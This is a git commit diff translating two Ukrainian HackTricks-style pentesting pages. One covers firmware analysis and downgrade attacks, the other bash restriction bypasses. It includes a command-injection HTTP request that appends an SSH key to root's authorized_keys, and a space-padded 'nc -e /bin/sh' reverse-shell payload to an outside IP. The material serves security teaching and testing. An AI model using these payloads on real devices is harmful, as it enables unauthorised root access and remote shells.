Translated ['src/hardware-physical-access/firmware-analysis/README.md',

This commit is contained in:
Translator 2025-07-28 16:14:36 +00:00
parent 12084e0be6
commit 93b5c50a74
2 changed files with 96 additions and 30 deletions

View File

@ -1,10 +1,10 @@
# Аналіз ПЗП
# Аналіз ПЗ
{{#include ../../banners/hacktricks-training.md}}
## **Вступ**
ПЗП є основним програмним забезпеченням, яке дозволяє пристроям працювати правильно, керуючи та полегшуючи зв'язок між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Воно зберігається в постійній пам'яті, що забезпечує доступ пристрою до важливих інструкцій з моменту його ввімкнення, що призводить до запуску операційної системи. Аналіз та потенційне модифікування ПЗП є критичним кроком у виявленні вразливостей безпеки.
ПЗ є основним програмним забезпеченням, яке дозволяє пристроям працювати правильно, керуючи та полегшуючи зв'язок між апаратними компонентами та програмним забезпеченням, з яким взаємодіють користувачі. Воно зберігається в постійній пам'яті, що забезпечує доступ пристрою до важливих інструкцій з моменту його увімкнення, що призводить до запуску операційної системи. Аналіз та потенційне модифікування ПЗ є критичним кроком у виявленні вразливостей безпеки.
## **Збір інформації**
@ -15,31 +15,31 @@
- Схему апаратного забезпечення та технічні характеристики
- Метрики кодової бази та місця розташування виходу
- Зовнішні бібліотеки та типи ліцензій
- Історії оновлень та регуляторні сертифікації
- Історії оновлень та регуляторні сертифікати
- Архітектурні та потокові діаграми
- Оцінки безпеки та виявлені вразливості
Для цієї мети **інструменти відкритих даних (OSINT)** є безцінними, як і аналіз будь-яких доступних компонентів відкритого програмного забезпечення через ручні та автоматизовані процеси перевірки. Інструменти, такі як [Coverity Scan](https://scan.coverity.com) та [Semmles LGTM](https://lgtm.com/#explore), пропонують безкоштовний статичний аналіз, який можна використовувати для виявлення потенційних проблем.
## **Отримання ПЗП**
## **Отримання ПЗ**
Отримання ПЗП можна здійснити різними способами, кожен з яких має свій рівень складності:
Отримання ПЗ можна здійснити різними способами, кожен з яких має свій рівень складності:
- **Безпосередньо** від джерела (розробників, виробників)
- **Створення** його з наданих інструкцій
- **Завантаження** з офіційних сайтів підтримки
- Використання **Google dork** запитів для знаходження розміщених файлів ПЗП
- Використання **Google dork** запитів для знаходження розміщених файлів ПЗ
- Доступ до **хмарного сховища** безпосередньо, за допомогою інструментів, таких як [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Перехоплення **оновлень** за допомогою технік "людина посередині"
- **Витягування** з пристрою через з'єднання, такі як **UART**, **JTAG** або **PICit**
- **Сниффінг** запитів на оновлення в межах зв'язку пристрою
- Виявлення та використання **жорстко закодованих кінцевих точок оновлення**
- Виявлення та використання **жорстко закодованих кінцевих точок оновлень**
- **Скидання** з завантажувача або мережі
- **Видалення та читання** чіпа пам'яті, коли всі інші способи не спрацювали, використовуючи відповідні апаратні інструменти
## Аналіз ПЗП
## Аналіз ПЗ
Тепер, коли ви **отримали ПЗП**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
Тепер, коли ви **отримали ПЗ**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
```bash
file <bin>
strings -n8 <bin>
@ -50,7 +50,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Якщо ви не знайдете багато з цими інструментами, перевірте **ентропію** зображення за допомогою `binwalk -E <bin>`, якщо ентропія низька, то, ймовірно, воно не зашифроване. Якщо ентропія висока, ймовірно, воно зашифроване (або стиснуте якимось чином).
Крім того, ви можете використовувати ці інструменти для витягнення **файлів, вбудованих у прошивку**:
Більше того, ви можете використовувати ці інструменти для витягування **файлів, вбудованих у прошивку**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@ -63,7 +63,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
З попередніми коментованими інструментами, такими як `binwalk -ev <bin>`, ви повинні були змогти **витягти файлову систему**.\
Binwalk зазвичай витягує її в **папку, названу на честь типу файлової системи**, яка зазвичай є однією з наступних: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Ручне витягнення файлової системи
#### Ручне витягування файлової системи
Іноді binwalk **не має магічного байта файлової системи у своїх сигнатурах**. У цих випадках використовуйте binwalk, щоб **знайти зсув файлової системи та вирізати стиснуту файлову систему** з бінарного файлу та **вручну витягти** файлову систему відповідно до її типу, використовуючи наведені нижче кроки.
```
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія свідчить про можливе шифрування або стиснення.
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія може свідчити про можливе шифрування або стиснення.
Для витягування **вбудованих файлів** рекомендуються інструменти та ресурси, такі як документація **file-data-carving-recovery-tools** та **binvis.io** для перевірки файлів.
### Витягування файлової системи
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягнути файлову систему, часто в каталог, названий на честь типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не може розпізнати тип файлової системи через відсутні магічні байти, необхідно виконати ручне витягування. Це передбачає використання `binwalk` для визначення зсуву файлової системи, після чого використовується команда `dd` для вирізання файлової системи:
Використовуючи `binwalk -ev <bin>`, зазвичай можна витягти файлову систему, часто в каталог, названий на честь типу файлової системи (наприклад, squashfs, ubifs). Однак, коли **binwalk** не може розпізнати тип файлової системи через відсутні магічні байти, необхідно виконати ручне витягування. Це передбачає використання `binwalk` для визначення зсуву файлової системи, а потім команди `dd` для вирізання файлової системи:
```bash
$ binwalk DIR850L_REVB.bin
@ -144,7 +144,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
Після витягування файлової системи починається пошук вразливостей безпеки. Увага приділяється небезпечним мережевим демонів, жорстко закодованим обліковим даним, API-інтерфейсам, функціональності серверів оновлень, некомпільованому коду, скриптам запуску та скомпільованим двійковим файлам для офлайн-аналізу.
**Ключові місця** та **елементи** для перевірки включають:
**Ключові місця** та **елементи**, які потрібно перевірити, включають:
- **etc/shadow** та **etc/passwd** для облікових даних користувачів
- SSL сертифікати та ключі в **etc/ssl**
@ -160,15 +160,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### Перевірки безпеки скомпільованих двійкових файлів
Як вихідний код, так і скомпільовані двійкові файли, знайдені у файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для двійкових файлів Unix та **PESecurity** для двійкових файлів Windows, допомагають виявити незахищені двійкові файли, які можуть бути використані в атаках.
Як вихідний код, так і скомпільовані двійкові файли, знайдені у файловій системі, повинні бути ретельно перевірені на вразливості. Інструменти, такі як **checksec.sh** для Unix двійкових файлів та **PESecurity** для Windows двійкових файлів, допомагають виявити незахищені двійкові файли, які можуть бути використані в атаках.
## Емуляція прошивки для динамічного аналізу
Процес емулювання прошивки дозволяє **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
Процес емулювання прошивки дозволяє виконувати **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
### Емуляція окремих двійкових файлів
Для перевірки окремих програм важливо визначити порядок байтів програми та архітектуру ЦП.
Для аналізу окремих програм важливо визначити порядок байтів програми та архітектуру ЦП.
#### Приклад з архітектурою MIPS
@ -184,7 +184,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
#### Емуляція архітектури ARM
Для бінарних файлів ARM процес подібний, з використанням емулятора `qemu-arm`.
Для ARM бінарних файлів процес подібний, з використанням емулятора `qemu-arm`.
### Емуляція повної системи
@ -192,7 +192,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Динамічний аналіз на практиці
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз повинен повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдора.
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз має повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдорів.
## Техніки аналізу в реальному часі
@ -200,7 +200,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Експлуатація бінарних файлів та доказ концепції
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного виконання в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного часу в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
## Підготовлені операційні системи для аналізу прошивки
@ -209,11 +209,54 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Підготовлені ОС для аналізу прошивки
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS - це дистрибутив, призначений для допомоги у проведенні оцінки безпеки та тестування на проникнення пристроїв Інтернету речей (IoT). Він економить ваш час, надаючи попередньо налаштоване середовище з усіма необхідними інструментами.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для тестування безпеки вбудованих систем на базі Ubuntu 18.04, попередньо завантажена інструментами для тестування безпеки прошивки.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Операційна система для тестування безпеки вбудованих систем на базі Ubuntu 18.04, попередньо завантажена з інструментами для тестування безпеки прошивки.
## Вразлива прошивка для практики
## Атаки на зниження версії прошивки та небезпечні механізми оновлення
Щоб практикувати виявлення вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
Навіть коли постачальник реалізує перевірки криптографічного підпису для образів прошивки, **захист від зниження версії (downgrade) часто пропускається**. Коли завантажувач або відновлювальний завантажувач лише перевіряє підпис з вбудованим відкритим ключем, але не порівнює *версію* (або монотонний лічильник) образу, що записується, зловмисник може легітимно встановити **стару, вразливу прошивку, яка все ще має дійсний підпис** і таким чином повторно ввести виправлені вразливості.
Типовий робочий процес атаки:
1. **Отримати старий підписаний образ**
* Завантажити його з публічного порталу завантаження постачальника, CDN або сайту підтримки.
* Витягти його з супутніх мобільних/десктопних додатків (наприклад, всередині Android APK під `assets/firmware/`).
* Отримати його з сторонніх репозиторіїв, таких як VirusTotal, архіви Інтернету, форуми тощо.
2. **Завантажити або надати образ пристрою** через будь-який відкритий канал оновлення:
* Веб-інтерфейс, API мобільного додатку, USB, TFTP, MQTT тощо.
* Багато споживчих IoT-пристроїв відкривають *неаутентифіковані* HTTP(S) кінцеві точки, які приймають Base64-кодовані бінарні файли прошивки, декодують їх на сервері та запускають відновлення/оновлення.
3. Після зниження версії експлуатувати вразливість, яка була виправлена в новішому випуску (наприклад, фільтр ін'єкції команд, який був доданий пізніше).
4. За бажанням перепрошити останній образ або вимкнути оновлення, щоб уникнути виявлення після отримання стійкості.
### Приклад: Ін'єкція команд після зниження версії
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
У вразливому (зниженому) прошивці параметр `md5` безпосередньо конкатенується в команду оболонки без санітизації, що дозволяє ін'єкцію довільних команд (тут увімкнення доступу до root через SSH з використанням ключа). Пізніші версії прошивки впровадили базовий фільтр символів, але відсутність захисту від зниження версії робить виправлення недійсним.
### Витягування прошивки з мобільних додатків
Багато постачальників об'єднують повні образи прошивки всередині своїх супутніх мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/Wi-Fi. Ці пакети зазвичай зберігаються нешифрованими в APK/APEX під шляхами, такими як `assets/fw/` або `res/raw/`. Інструменти, такі як `apktool`, `ghidra` або навіть простий `unzip`, дозволяють вам витягувати підписані образи, не торкаючись фізичного обладнання.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Checklist for Assessing Update Logic
* Чи адекватно захищений транспорт/автентифікація *endpoint оновлення* (TLS + автентифікація)?
* Чи порівнює пристрій **номери версій** або **монотонний анти-ролбек лічильник** перед прошивкою?
* Чи перевіряється образ у безпечному завантажувальному ланцюзі (наприклад, підписи перевіряються кодом ROM)?
* Чи виконує код користувацького простору додаткові перевірки (наприклад, дозволена карта розділів, номер моделі)?
* Чи *часткові* або *резервні* потоки оновлення повторно використовують ту ж логіку валідації?
> 💡 Якщо щось із вищезазначеного відсутнє, платформа, ймовірно, вразлива до атак ролбеку.
## Vulnerable firmware to practice
Щоб практикуватися у виявленні вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -228,12 +271,13 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Посилання
## References
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## Тренінг та сертифікація
## Trainning and Cert
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Загальні обходи обмежень
## Обходи загальних обмежень
### Реверсна оболонка
```bash
@ -144,7 +144,7 @@ echo ${PATH:0:1} #/
### Builtins
У разі, якщо ви не можете виконувати зовнішні функції і маєте доступ лише до **обмеженого набору вбудованих команд для отримання RCE**, є кілька корисних трюків, щоб це зробити. Зазвичай ви **не зможете використовувати всі** **вбудовані команди**, тому вам слід **знати всі свої варіанти**, щоб спробувати обійти в'язницю. Ідея з [**devploit**](https://twitter.com/devploit).\
У випадку, якщо ви не можете виконувати зовнішні функції і маєте доступ лише до **обмеженого набору вбудованих команд для отримання RCE**, є кілька корисних трюків, щоб це зробити. Зазвичай ви **не зможете використовувати всі** **вбудовані команди**, тому вам слід **знати всі свої варіанти**, щоб спробувати обійти в'язницю. Ідея з [**devploit**](https://twitter.com/devploit).\
По-перше, перевірте всі [**вбудовані команди оболонки**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Потім тут у вас є кілька **рекомендацій**:
```bash
# Get list of builtins
@ -294,20 +294,40 @@ ln /f*
'sh x'
'sh g'
```
## Обхід Read-Only/Noexec/Distroless
## Read-Only/Noexec/Distroless Bypass
Якщо ви знаходитесь у файловій системі з **захистами read-only та noexec** або навіть у контейнері без дистрибутива, все ще існують способи **виконати довільні бінарні файли, навіть оболонку!:**
Якщо ви знаходитесь у файловій системі з **захистами тільки для читання та noexec** або навіть у контейнері без дистрибутива, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Обхід Chroot та інших в'язниць
## Chroot & other Jails Bypass
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Space-Based Bash NOP Sled ("Bashsledding")
Коли вразливість дозволяє вам частково контролювати аргумент, який врешті-решт досягає `system()` або іншої оболонки, ви можете не знати точний зсув, з якого починається виконання вашого корисного навантаження. Традиційні NOP сани (наприклад, `\x90`) **не** працюють у синтаксисі оболонки, але Bash безпечно ігнорує провідні пробіли перед виконанням команди.
Отже, ви можете створити *NOP сани для Bash*, додавши до вашої реальної команди довгу послідовність пробілів або символів табуляції:
```bash
# Payload sprayed into an environment variable / NVRAM entry
" nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```
Якщо ланцюг ROP (або будь-який примітив пошкодження пам'яті) приземляє вказівник інструкцій будь-де в межах блоку простору, парсер Bash просто пропускає пробіли, поки не досягне `nc`, надійно виконуючи вашу команду.
Практичні випадки використання:
1. **Конфігураційні блоби, що відображаються в пам'яті** (наприклад, NVRAM), які доступні між процесами.
2. Ситуації, коли атакуючий не може записати байти NULL для вирівнювання корисного навантаження.
3. Вбудовані пристрої, де доступний лише BusyBox `ash`/`sh` вони також ігнорують провідні пробіли.
> 🛠️ Поєднайте цей трюк з ROP гаджетами, які викликають `system()`, щоб значно підвищити надійність експлуатації на маршрутизаторах IoT з обмеженою пам'яттю.
## Посилання та більше
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
@ -315,4 +335,6 @@ bypass-fs-protections-read-only-no-exec-distroless/
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
{{#include ../../banners/hacktricks-training.md}}